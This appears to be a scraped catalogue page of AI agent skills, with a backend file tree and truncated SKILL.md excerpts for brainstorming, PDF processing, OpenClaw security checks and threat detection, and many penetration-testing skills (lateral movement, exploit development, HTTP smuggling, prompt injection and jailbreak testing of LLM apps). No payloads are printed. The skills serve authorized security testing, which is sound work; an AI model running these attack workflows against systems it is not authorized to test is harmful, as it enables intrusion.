bytescore/tools/sandbox/runloop.pyruns4,994 bytescore/tools/sandbox/sandbox_factory.pyruns13,677 bytescore/tools/skill/__init__.pyruns213 bytescore/tools/tool.pyruns11,096 bytescore/tools/tool_registry.pyruns21,723 bytescore/tools/toolkit.pyruns9,041 bytescore/trace_context.pyruns1,112 bytesmain.pyruns15,131 bytesmodels/MODEL.mddoc6,691 bytesmodels/__init__.pyruns2,956 bytesmodels/access_control.pyruns3,781 bytesmodels/agent_run.pyruns4,735 bytesmodels/auth.pyruns6,284 bytesmodels/base.pyruns1,732 bytesmodels/chat.pyruns1,597 bytesmodels/conversation.pyruns1,779 bytesmodels/custom_tool.pyruns1,199 bytesmodels/enums.pyruns1,163 bytesmodels/execution_trace.pyruns9,296 bytesmodels/graph.pyruns7,714 bytesmodels/graph_deployment_version.pyruns1,969 bytesmodels/graph_execution.pyruns1,757 bytesmodels/mcp.pyruns2,982 bytesmodels/memory.pyruns2,326 bytesmodels/message.pyruns18,056 bytesmodels/model_credential.pyruns2,748 bytesmodels/model_instance.pyruns2,727 bytesmodels/model_provider.pyruns3,218 bytesmodels/model_usage_log.pyruns1,813 bytesmodels/oauth_account.pyruns2,853 bytesmodels/openclaw_instance.pyruns1,676 bytesmodels/organization.pyruns2,933 bytesmodels/platform_token.pyruns1,874 bytesmodels/security_audit_log.pyruns2,383 bytesmodels/settings.pyruns3,197 bytesmodels/skill.pyruns3,596 bytesmodels/skill_collaborator.pyruns2,834 bytesmodels/skill_version.pyruns3,506 bytesmodels/user_sandbox.pyruns2,131 bytesmodels/workspace.pyruns4,797 bytesmodels/workspace_files.pyruns2,957 bytesrepositories/MODEL.mddoc8,682 bytesrepositories/__init__.pyruns652 bytesrepositories/agent_run.pyruns5,524 bytesrepositories/auth_session.pyruns1,247 bytesrepositories/auth_user.pyruns1,962 bytesrepositories/base.pyruns4,288 bytesrepositories/custom_tool.pyruns1,177 bytesrepositories/graph.pyruns4,434 bytesrepositories/graph_deployment_version.pyruns7,297 bytesrepositories/graph_execution.pyruns850 bytesrepositories/mcp_server.pyruns6,712 bytesrepositories/model_credential.pyruns1,477 bytesrepositories/model_instance.pyruns3,327 bytesrepositories/model_provider.pyruns1,764 bytesrepositories/model_usage_log.pyruns4,739 bytesrepositories/organization.pyruns3,017 bytesrepositories/platform_token.pyruns2,169 bytesrepositories/skill.pyruns3,306 bytesrepositories/skill_collaborator.pyruns1,476 bytesrepositories/skill_version.pyruns2,709 bytesrepositories/user.pyruns1,963 bytesrepositories/workspace.pyruns3,760 bytesrepositories/workspace_file.pyruns2,958 bytesrepositories/workspace_folder.pyruns2,655 bytesschemas/__init__.pyruns1,753 bytesschemas/base.pyruns713 bytesschemas/chat.pyruns1,182 bytesschemas/common.pyruns1,364 bytesschemas/conversation.pyruns3,443 bytesschemas/graph_deployment_version.pyruns2,402 bytesschemas/mcp.pyruns4,528 bytesschemas/memory.pyruns2,138 bytesschemas/platform_token.pyruns1,286 bytesschemas/runs.pyruns2,261 bytesschemas/skill.pyruns4,983 bytesschemas/skill_collaborator.pyruns1,274 bytesschemas/skill_version.pyruns1,760 bytesschemas/user.pyruns644 bytesschemas/validators.pyruns4,697 bytesservices/MODEL.mddoc11,012 bytesservices/__init__.pyruns621 bytesservices/agent_registry.pyruns1,567 bytesservices/auth_service.pyruns20,907 bytesservices/auth_session_service.pyruns6,663 bytesservices/base.pyruns531 bytesservices/copilot_service.pyruns24,275 bytesservices/custom_tool_service.pyruns3,464 bytesservices/email_service.pyruns4,596 bytesservices/environment_service.pyruns2,899 bytesservices/graph_deployment_version_service.pyruns21,130 bytesservices/graph_service.pyruns36,593 bytesservices/login_init.pyruns1,727 bytesservices/mcp_client_service.pyruns6,294 bytesservices/mcp_server_service.pyruns9,819 bytesservices/mcp_toolkit_manager.pyruns6,083 bytesservices/memory_service.pyruns22,866 bytesservices/model_credential_service.pyruns8,624 bytesservices/model_provider_service.pyruns16,904 bytesservices/model_service.pyruns24,059 bytesservices/model_usage_service.pyruns2,973 bytesservices/oauth_service.pyruns20,407 bytesservices/openapi_graph_service.pyruns10,686 bytesservices/openclaw_instance_service.pyruns24,450 bytesservices/organization_service.pyruns16,106 bytesservices/platform_token_service.pyruns5,764 bytesservices/run_reducers/__init__.pyruns1,392 bytesservices/run_reducers/chat.pyruns5,776 bytesservices/run_reducers/copilot.pyruns2,756 bytesservices/run_reducers/skill_creator.pyruns5,145 bytesservices/run_service.pyruns23,305 bytesservices/sandbox_handle.pyruns1,878 bytesservices/sandbox_manager.pyruns18,479 bytesservices/sandbox_pool.pyruns7,789 bytesservices/security_audit_service.pyruns4,784 bytesservices/session_service.pyruns7,651 bytesservices/skill_collaborator_service.pyruns5,576 bytesservices/skill_service.pyruns29,876 bytesservices/skill_version_service.pyruns9,075 bytesservices/tool_service.pyruns21,775 bytesservices/trace_service.pyruns9,460 bytesservices/user_service.pyruns4,119 bytesservices/workspace_file_service.pyruns11,577 bytesservices/workspace_folder_service.pyruns13,935 bytesservices/workspace_permission.pyruns1,940 bytesservices/workspace_service.pyruns21,093 bytestemplates/email/base.htmlasset1,367 bytestemplates/email/email_verification.htmlasset549 bytestemplates/email/password_reset.htmlasset654 bytesutils/__init__.pyruns462 bytesutils/backend_utils.pyruns2,142 bytesutils/datetime.pyruns507 bytesutils/file_event_emitter.pyruns1,162 bytesutils/mcp.pyruns14,552 bytesutils/mcp_tool_builder.pyruns4,469 bytesutils/media.pyruns16,585 bytesutils/message_serializer.pyruns6,056 bytesutils/path_utils.pyruns4,588 bytesutils/prompts.pyruns5,642 bytesutils/sandbox_paths.pyruns520 bytesutils/stream_event_handler.pyruns38,982 bytesutils/string.pyruns7,305 bytesutils/task_manager.pyruns3,174 bytesutils/token_usage.pyruns6,602 bytesutils/tokens.pyruns5,072 byteswebsocket/__init__.pyruns200 byteswebsocket/auth.pyruns2,208 byteswebsocket/chat_commands.pyruns4,184 byteswebsocket/chat_protocol.pyruns6,529 byteswebsocket/chat_task_supervisor.pyruns7,370 byteswebsocket/chat_turn_executor.pyruns43,079 byteswebsocket/chat_ws_handler.pyruns25,149 byteswebsocket/notification_manager.pyruns4,800 byteswebsocket/openclaw_handler.pyruns4,343 byteswebsocket/run_subscription_handler.pyruns5,091 byteswebsocket/run_subscription_manager.pyruns2,467 bytes
Read SKILL.md
# SKILL 后端功能说明文档
## 概述
SKILL(技能)模块是平台的核心功能之一,用于管理和组织可复用的技能资源。每个技能可以包含描述、内容、标签、文件等丰富的信息,支持公开分享和私有管理。
## 架构设计
### 分层架构
SKILL 模块采用经典的分层架构设计:
```
API Layer (api/v1/skills.py)
↓View the complete source on GitHubbrainstorming
When your agent uses it
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- The Process
- After the Design
- Key Principles
Files
SKILL.mdcore2,505 bytes
Read SKILL.md
# Brainstorming Ideas Into Designs
## Overview
Help turn ideas into fully formed designs and specs through natural collaborative dialogue.
Start by understanding the current project context, then ask questions one at a time to refine the idea. Once you understand what you're building, present the design in small sections (200-300 words), checking after each section whether it looks right so far.
## The Process
**Understanding the idea:**
- Check out the current project state first (files, docs, recent commits)
- Ask questions one at a time to refine the idea
- Prefer multiple choice questions when possible, but open-ended is fine tooView the complete source on GitHubexecuting-plans
When your agent uses it
Use when you have a written implementation plan to execute in a separate session with review checkpoints
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
558 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- The Process
- When to Stop and Ask for Help
- When to Revisit Earlier Steps
- Remember
- Integration
Files
SKILL.mdcore2,550 bytes
Read SKILL.md
# Executing Plans
## Overview
Load plan, review critically, execute tasks in batches, report for review between batches.
**Core principle:** Batch execution with checkpoints for architect review.
**Announce at start:** "I'm using the executing-plans skill to implement this plan."
## The Process
### Step 1: Load and Review Plan
1. Read plan fileView the complete source on GitHubopenclaw-security-checker
When your agent uses it
OpenClaw 安全检测工具,基于安全实践指南验证配置安全、权限隔离、网络策略、日志审计和运行时完整性
What it loads into context
Frontmatter
111 tokensAlways available to the agent
SKILL.md
2,213 tokensWhen the skill is activated
Reference documents
1,924 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- 检查项目详情
- 安全评分体系
- 示例输出
- Tool Categories
- 安全原则
- References
Files
SKILL.mdcore7,848 bytesSKILL.mdcore7,848 bytesreferences/tools.mddoc4,156 bytesreferences/workflows.mddoc4,314 bytes
Read SKILL.md
# OpenClaw 安全检测器
基于《OpenClaw 极简安全实践指南》和《安全验证与攻防演练手册》的全面安全检测工具。对 OpenClaw 实例的配置、权限、隔离、网络、日志进行系统化审查,输出可量化的安全评分和修复建议。
## Purpose
OpenClaw 实例运行在 Docker 容器中,每用户独占一个容器(JoySafeter 架构)。该技能负责对实例的安全面进行系统化检测,覆盖部署前配置审查、运行时权限验证、隔离区合规检查三个阶段。
## Prerequisites
### 环境要求
- OpenClaw 实例已部署并可访问(本地或容器内)
- 对 `~/.openclaw/` 目录有读取权限
- `openclaw.json` 配置文件可读View the complete source on GitHubopenclaw-threat-detect
When your agent uses it
OpenClaw 攻击模式检测工具,识别数据外传、反弹Shell、文件泄露、Prompt注入、供应链投毒等高危行为,支持 MITRE ATT&CK 映射
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
2,378 tokensWhen the skill is activated
Reference documents
2,180 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- 检测的攻击模式
- MITRE ATT&CK 覆盖矩阵
- 输出格式
- 严重程度分级
- Tool Categories
- References
Files
SKILL.mdcore7,449 bytesreferences/tools.mddoc3,828 bytesreferences/workflows.mddoc5,398 bytes
Read SKILL.md
# OpenClaw 攻击模式检测器
基于《OpenClaw 极简安全实践指南》红线规则和 MITRE ATT&CK 框架,对命令、文件、网络流量进行实时和离线威胁检测。覆盖 AI Agent 场景下特有的攻击面——不仅检测传统 shell 攻击,还识别通过 Prompt 注入触发的间接恶意行为。
## Purpose
OpenClaw Agent 具有命令执行、文件读写、网络请求等能力。当 Agent 被恶意 Prompt 注入或加载了被投毒的 Skill 时,可能执行数据外传、反弹 Shell、凭证窃取等高危操作。本技能提供多层检测能力,覆盖从命令级到行为链级的威胁识别。
## Prerequisites
### Authorization Requirements
- OpenClaw 实例的日志访问权限
- 命令历史和文件系统读取权限
- 网络流量监控权限(如需实时检测)View the complete source on GitHubWhen your agent uses it
Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. When Claude needs to fill in a PDF form or programmatically process, generate, or analyze PDF documents at scale.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,805 tokensWhen the skill is activated
Reference documents
6,300 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Quick Start
- Python Libraries
- Command-Line Tools
- Common Tasks
- Quick Reference
- Next Steps
Scripts executed separately
scripts/check_bounding_boxes.pyscripts/check_bounding_boxes_test.pyscripts/check_fillable_fields.pyscripts/convert_pdf_to_images.pyscripts/create_validation_image.pyscripts/extract_form_field_info.pyscripts/fill_fillable_fields.pyscripts/fill_pdf_form_with_annotations.py
Files
LICENSE.txtdoc1,467 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesSKILL.mdcore7,068 bytesforms.mddoc9,438 bytesreference.mddoc16,573 bytesscripts/check_bounding_boxes.pyruns3,139 bytesscripts/check_bounding_boxes_test.pyruns8,682 bytesscripts/check_fillable_fields.pyruns362 bytesscripts/convert_pdf_to_images.pyruns1,115 bytesscripts/create_validation_image.pyruns1,587 bytesscripts/extract_form_field_info.pyruns6,123 bytesscripts/fill_fillable_fields.pyruns4,854 bytesscripts/fill_pdf_form_with_annotations.pyruns3,517 bytes
Read SKILL.md
# PDF Processing Guide
## Overview
This guide covers essential PDF processing operations using Python libraries and command-line tools. For advanced features, JavaScript libraries, and detailed examples, see reference.md. If you need to fill out a PDF form, read forms.md and follow its instructions.
## Quick Start
```python
from pypdf import PdfReader, PdfWriter
# Read a PDF
reader = PdfReader("document.pdf")
print(f"Pages: {len(reader.pages)}")View the complete source on GitHubpentest-ai-llm-security
When your agent uses it
AI/LLM application security testing — prompt injection, jailbreaking, data exfiltration, and insecure output handling per OWASP LLM Top 10.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
738 tokensWhen the skill is activated
Reference documents
807 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- OWASP LLM Top 10 (2025) Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,312 bytesreferences/tools.mddoc1,437 bytesreferences/workflows.mddoc2,107 bytes
Read SKILL.md
# Pentest AI/LLM Security
## Purpose
AI-integrated applications introduce entirely new attack surfaces. Prompt injection is the "SQLi of AI." Neither Shannon nor any existing skill addresses this domain. OWASP LLM Top 10 (2025) defines the methodology.
## Prerequisites
### Authorization Requirements
- **Written authorization** with AI/LLM testing scope explicitly included
- **Model access details** — API endpoints, model versions, tool/function access
- **Data sensitivity classification** — what data the LLM can access
- **Rate limit awareness** — LLM API costs can escalate quickly
### Environment SetupView the complete source on GitHubpentest-api-deep
When your agent uses it
Deep OWASP API Security Top 10 testing for REST, GraphQL, gRPC, and WebSocket APIs — BFLA, mass assignment, rate limiting, and unsafe consumption.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
799 tokensWhen the skill is activated
Reference documents
1,167 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- OWASP API Security Top 10 (2023) Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,637 bytesreferences/tools.mddoc2,478 bytesreferences/workflows.mddoc2,153 bytes
Read SKILL.md
# Pentest API Deep
## Purpose
Perform dedicated API-specific vulnerability testing beyond basic BOLA/GraphQL coverage. Addresses Broken Function Level Authorization (BFLA), mass assignment, rate limiting, excessive data exposure, and unsafe consumption per OWASP API Security Top 10 (2023).
## Prerequisites
### Authorization Requirements
- **Written authorization** with API testing scope explicitly included
- **API documentation** (OpenAPI/Swagger specs, GraphQL schema) if available
- **Test accounts** at multiple privilege levels (user, admin, service account)
- **Rate limit awareness** — confirm acceptable request volume with target owner
### Environment SetupView the complete source on GitHubpentest-business-logic
When your agent uses it
Business logic vulnerability testing — workflow bypass, payment manipulation, state machine abuse, and function limit circumvention per WSTG-BUSL.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
836 tokensWhen the skill is activated
Reference documents
1,910 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- WSTG Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,728 bytesSKILL.mdcore3,728 bytesreferences/tools.mddoc3,969 bytesreferences/workflows.mddoc3,952 bytes
Read SKILL.md
# Pentest Business Logic
## Purpose
Identify flaws in application workflow enforcement, business rule validation, and state machine integrity that cannot be found by taint analysis or pattern matching. These vulnerabilities require understanding intended behavior and finding deviations.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for business logic testing
- **Test accounts** at multiple privilege levels (user, admin, premium, etc.)
- **Test payment methods** or sandbox payment environment for financial testing
- **Rollback plan** for any data-mutating tests (order creation, account changes)
### Environment SetupView the complete source on GitHubpentest-client-advanced
When your agent uses it
Advanced client-side attacks — CORS misconfiguration, WebSocket security, clickjacking, postMessage abuse, CSS injection, and browser storage vulnerabilities.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
739 tokensWhen the skill is activated
Reference documents
1,316 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- WSTG Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,144 bytesreferences/tools.mddoc2,497 bytesreferences/workflows.mddoc3,209 bytes
Read SKILL.md
# Pentest Client Advanced
## Purpose
Test advanced client-side attack surfaces beyond XSS. Six WSTG-CLNT items remain unchecked in Shannon's pipeline — these are distinct attack classes requiring different methodology than taint analysis.
## Prerequisites
### Authorization Requirements
- **Written authorization** with client-side testing scope
- **Test domains** for hosting PoC HTML pages (attacker-controlled origin)
- **Browser testing environment** with DevTools access
- **Target user simulation** — ability to test cross-origin interactions
### Environment SetupView the complete source on GitHubpentest-cloud-infrastructure
When your agent uses it
Cloud security posture management and container security assessment for AWS, Azure, GCP, and Kubernetes.
What it loads into context
Frontmatter
29 tokensAlways available to the agent
SKILL.md
222 tokensWhen the skill is activated
Reference documents
755 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore1,022 bytesreferences/tools.mddoc1,941 bytesreferences/workflows.mddoc1,401 bytes
Read SKILL.md
# Pentest Cloud Infrastructure
## Purpose
Assess the security configuration of cloud environments and containerized infrastructure to detect misconfigurations, excessive permissions, and vulnerabilities.
## Core Workflow
1. **Cloud Config Audit**: Assess cloud provider configuration (AWS/Azure/GCP) using `prowler` and `scoutsuite`.
2. **IaC Scanning**: Analyze Infrastructure-as-Code (Terraform, CloudFormation) for security flaws using `checkov` and `terrascan`.
3. **Container Security**: Scan container images and runtime environments using `trivy`, `clair`, and `dockle`.
4. **Kubernetes Assessment**: Audit K8s clusters for CIS compliance and vulnerabilities using `kube-bench` and `kube-hunter`.
5. **Runtime Monitoring**: Analyze runtime behavior and rule violations using `falco`.
## References
- `references/tools.md`View the complete source on GitHubpentest-config-hardening
When your agent uses it
Security header auditing, TLS configuration testing, HTTP method analysis, CSP bypass assessment, and deployment hardening verification.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
821 tokensWhen the skill is activated
Reference documents
1,080 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- WSTG Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,342 bytesSKILL.mdcore3,342 bytesSKILL.mdcore3,342 bytesreferences/tools.mddoc2,147 bytesreferences/workflows.mddoc2,399 bytes
Read SKILL.md
# Pentest Config Hardening
## Purpose
Shannon checks only 2 of 14 WSTG-CONF items. The remaining 12 are "low-hanging fruit" findings expected in every professional pentest report — straightforward to test systematically.
## Prerequisites
### Authorization Requirements
- **Written authorization** with infrastructure testing scope
- **Target URL list** for all web-facing endpoints
- **CDN/WAF awareness** — some headers may be set by infrastructure, not application
### Environment Setup
- testssl.sh for comprehensive TLS analysisView the complete source on GitHubpentest-ctf-binary
When your agent uses it
Binary exploitation (Pwn) and reverse engineering tools for CTF challenges and software analysis.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
207 tokensWhen the skill is activated
Reference documents
811 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore915 bytesreferences/tools.mddoc2,544 bytesreferences/workflows.mddoc1,007 bytes
Read SKILL.md
# Pentest CTF Binary
## Purpose
Analyze binary files to understand their behavior, identify memory corruption vulnerabilities, and develop exploits (ROP, Heap, Format String).
## Core Workflow
1. **Static Analysis**: Inspect binary properties, protections (NX, PIE), and code structure using `checksec` and `ghidra`.
2. **Dynamic Analysis**: Run the binary under a debugger (`gdb`) to observe behavior and register states.
3. **Vulnerability Identification**: Locate crashes, buffer overflows, or format string bugs.
4. **Exploit Development**: Construct payloads (shellcode, ROP chains) using `pwntools`.
5. **Remote Exploitation**: Launch the exploit against the target server to retrieve the flag.
## References
- `references/tools.md`View the complete source on GitHubpentest-ctf-crypto
When your agent uses it
Cryptography tools for solving CTF challenges involving ciphers, hashing, and weak encryption.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
213 tokensWhen the skill is activated
Reference documents
1,233 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore905 bytesreferences/tools.mddoc2,359 bytesreferences/workflows.mddoc2,564 bytes
Read SKILL.md
# Pentest CTF Crypto
## Purpose
Analyze and break cryptographic implementations, including classical ciphers, RSA weak keys, and hash extensions.
## Core Workflow
1. **Cipher Identification**: Identify the type of encryption or encoding used (e.g., Base64, Caesar, RSA).
2. **Classical Cracking**: Brute-force or analyze frequency for classical ciphers using `ciphey` or online tools.
3. **RSA Attacks**: Check for common RSA weaknesses (small e, small factors) using `RsaCtfTool`.
4. **Hash Analysis**: Identify hash types and attempt cracking or length extension attacks using `hashcat` or `hashpump`.
5. **Math/Primes**: Solve mathematical problems related to cryptography using `sagemath`.
## References
- `references/tools.md`View the complete source on GitHubpentest-ctf-forensics
When your agent uses it
Digital forensics, steganography, and packet analysis for CTF challenges and investigation.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
220 tokensWhen the skill is activated
Reference documents
654 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore921 bytesreferences/tools.mddoc1,391 bytesreferences/workflows.mddoc1,556 bytes
Read SKILL.md
# Pentest CTF Forensics
## Purpose
Extract hidden information from various artifacts: memory dumps, network captures (PCAP), images, and disk images.
## Core Workflow
1. **File Analysis**: Identify file type, metadata, and embedded strings using `file`, `exiftool`, and `strings`.
2. **Steganography**: Detect and extract hidden data in images/audio using `steghide` and `stegsolve`.
3. **Network Forensics**: Analyze PCAP files for suspicious traffic and flag transmission using `wireshark` or `tshark`.
4. **Memory Forensics**: Analyze memory dumps for processes, connections, and injected code using `volatility`.
5. **Data Extraction**: Carve files and recover deleted data using `foremost` and `binwalk`.
## References
- `references/tools.md`View the complete source on GitHubseclens-enterprise-web
When your agent uses it
Professional web application and API security testing workflows using OWASP Top 10 methodologies.
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
1,059 tokensWhen the skill is activated
Reference documents
3,589 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- OWASP Top 10 (2021) Coverage
- Tool Categories
- References
Scripts executed separately
Dockerfileentrypoint.sh
Files
Dockerfileruns5,472 bytesSKILL.mdcore4,507 bytescompose.yamlasset315 bytesconfigs/amass.yamlasset435 bytesconfigs/httpx.yamlasset98 bytesconfigs/katana.yamlasset132 bytesconfigs/naabu.yamlasset72 bytesconfigs/nuclei.yamlasset244 bytesconfigs/subfinder.yamlasset433 bytesentrypoint.shruns689 bytesreferences/report-template.mddoc3,020 bytesreferences/tools.mddoc8,050 bytesreferences/workflows.mddoc3,635 bytes
Read SKILL.md
# Pentest Enterprise Web
## Purpose
Perform comprehensive vulnerability assessments on web applications and APIs (REST/GraphQL) to identify security flaws, logic errors, and compliance issues.
## Prerequisites
### Authorization Requirements
- **Written authorization** (scope document signed by asset owner)
- **Target environment classification**: Internal / External / Hybrid
- **Rules of Engagement**: Testing hours, notification procedures, emergency contacts
### Evasion Profile Selection
| Profile | Use Case | Characteristics |View the complete source on GitHubpentest-exploit-validation
When your agent uses it
Proof-driven exploitation with 4-level evidence system, bypass exhaustion protocol, mandatory evidence checklists, and strict EXPLOITED/POTENTIAL/FALSE_POSITIVE classification.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
925 tokensWhen the skill is activated
Reference documents
2,303 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- 4-Level Proof System
- Classification Criteria
- Tool Categories
- References
Files
SKILL.mdcore4,580 bytesSKILL.mdcore4,580 bytesreferences/tools.mddoc2,913 bytesreferences/workflows.mddoc6,713 bytes
Read SKILL.md
# Pentest Exploit Validation
## Purpose
Validate vulnerability findings through proof-driven exploitation using Shannon's 4-level evidence system. Consumes the exploitation queue from white-box code review, attempts structured exploitation with bypass exhaustion, collects mandatory evidence per vulnerability type, and classifies each finding as EXPLOITED, POTENTIAL, or FALSE_POSITIVE.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for active exploitation testing
- **Exploitation queue JSON** from pentest-whitebox-code-review output
- **Test accounts** at multiple privilege levels for authz testing
- **Data exfiltration approval** — confirm acceptable proof-of-concept scope
- **Rollback plan** for any data-mutating exploits
View the complete source on GitHubpentest-http-smuggling
When your agent uses it
HTTP request smuggling, desync attacks, cache poisoning, and protocol-level vulnerability testing.
What it loads into context
Frontmatter
28 tokensAlways available to the agent
SKILL.md
743 tokensWhen the skill is activated
Reference documents
1,587 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- WSTG Coverage
- Tool Categories
- References
Files
SKILL.mdcore3,344 bytesreferences/tools.mddoc2,970 bytesreferences/workflows.mddoc3,583 bytes
Read SKILL.md
# Pentest HTTP Smuggling
## Purpose
Detect and exploit discrepancies between front-end proxies and back-end servers in HTTP request parsing. These attacks bypass security controls, poison caches, and hijack requests — entirely absent from standard taint analysis pipelines.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for protocol-level testing
- **Infrastructure awareness** — identify all reverse proxies, CDNs, load balancers in path
- **Rollback plan** for cache poisoning tests (CDN purge access)
- **Emergency contacts** for infrastructure team (smuggling can affect other users)
### Environment SetupView the complete source on GitHubpentest-mobile-app
When your agent uses it
OWASP Mobile Top 10 security testing for Android and iOS — local storage, certificate pinning bypass, IPC abuse, and binary protections.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
556 tokensWhen the skill is activated
Reference documents
699 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- Tool Categories
- References
Files
SKILL.mdcore2,561 bytesreferences/tools.mddoc1,269 bytesreferences/workflows.mddoc1,809 bytes
Read SKILL.md
# Pentest Mobile App
## Purpose
Mobile apps are completely absent from Shannon (web-only) and all existing skills. Mobile apps often share backend APIs but introduce unique attack surfaces: local storage, pinning, intent handling, binary protections.
## Prerequisites
### Authorization Requirements
- **Written authorization** with mobile app testing scope
- **APK/IPA files** or access to app store downloads
- **Test devices** or emulators (rooted Android, jailbroken iOS preferred)
- **Backend API documentation** if available
### Environment SetupView the complete source on GitHubpentest-network-internal
When your agent uses it
Internal network penetration testing, Active Directory enumeration, and lateral movement simulation.
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
251 tokensWhen the skill is activated
Reference documents
1,987 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore1,097 bytesreferences/tools.mddoc6,628 bytesreferences/workflows.mddoc2,465 bytes
Read SKILL.md
# Pentest Network Internal
## Purpose
Simulate an internal attacker to identify weak credentials, misconfigured services, and Active Directory paths to high-value assets.
## Core Workflow
1. **Network Discovery**: Map the internal network, live hosts, and open ports using `nmap` and `masscan`.
2. **Service Enumeration**: Identify running services, versions, and potential entry points (SMB, RDP, SSH, etc.).
3. **Vulnerability Scanning**: Check for known service vulnerabilities (e.g., EternalBlue, ZeroLogon) using `nuclei` and `nmap-scripts`.
4. **Credential Auditing**: Test weak passwords and default credentials using `hydra` and `netexec` (CrackMapExec).
5. **Active Directory Enum**: Map AD trust relationships, users, and groups using `bloodhound` and `ldapdomaindump`.
6. **Lateral Movement**: Simulate movement between hosts using valid credentials or exploits.
## ReferencesView the complete source on GitHubpentest-osint-recon
When your agent uses it
Open Source Intelligence gathering and attack surface management for external reconnaissance.
What it loads into context
Frontmatter
23 tokensAlways available to the agent
SKILL.md
194 tokensWhen the skill is activated
Reference documents
1,386 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Core Workflow
- References
Files
SKILL.mdcore915 bytesreferences/tools.mddoc3,942 bytesreferences/workflows.mddoc1,694 bytes
Read SKILL.md
# Pentest OSINT Recon
## Purpose
Gather publicly available information about a target organization to map its external attack surface, including subdomains, emails, and exposed assets.
## Core Workflow
1. **Domain Enumeration**: Discover subdomains and related assets using `amass` and `subfinder`.
2. **Tech Profiling**: Identify technologies used on discovered assets using `httpx` and `whatweb`.
3. **Information Gathering**: Search for emails, leaks, and social media presence using `theharvester` and search engines.
4. **Asset Correlation**: Correlate IP addresses, domains, and technologies to find weak spots.
5. **Vulnerability Intel**: Check discovered software versions against CVE databases.
## References
- `references/tools.md`View the complete source on GitHubpentest-race-conditions
When your agent uses it
Concurrency exploitation — race conditions, TOCTOU vulnerabilities, and parallel request abuse in web applications.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
536 tokensWhen the skill is activated
Reference documents
1,006 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
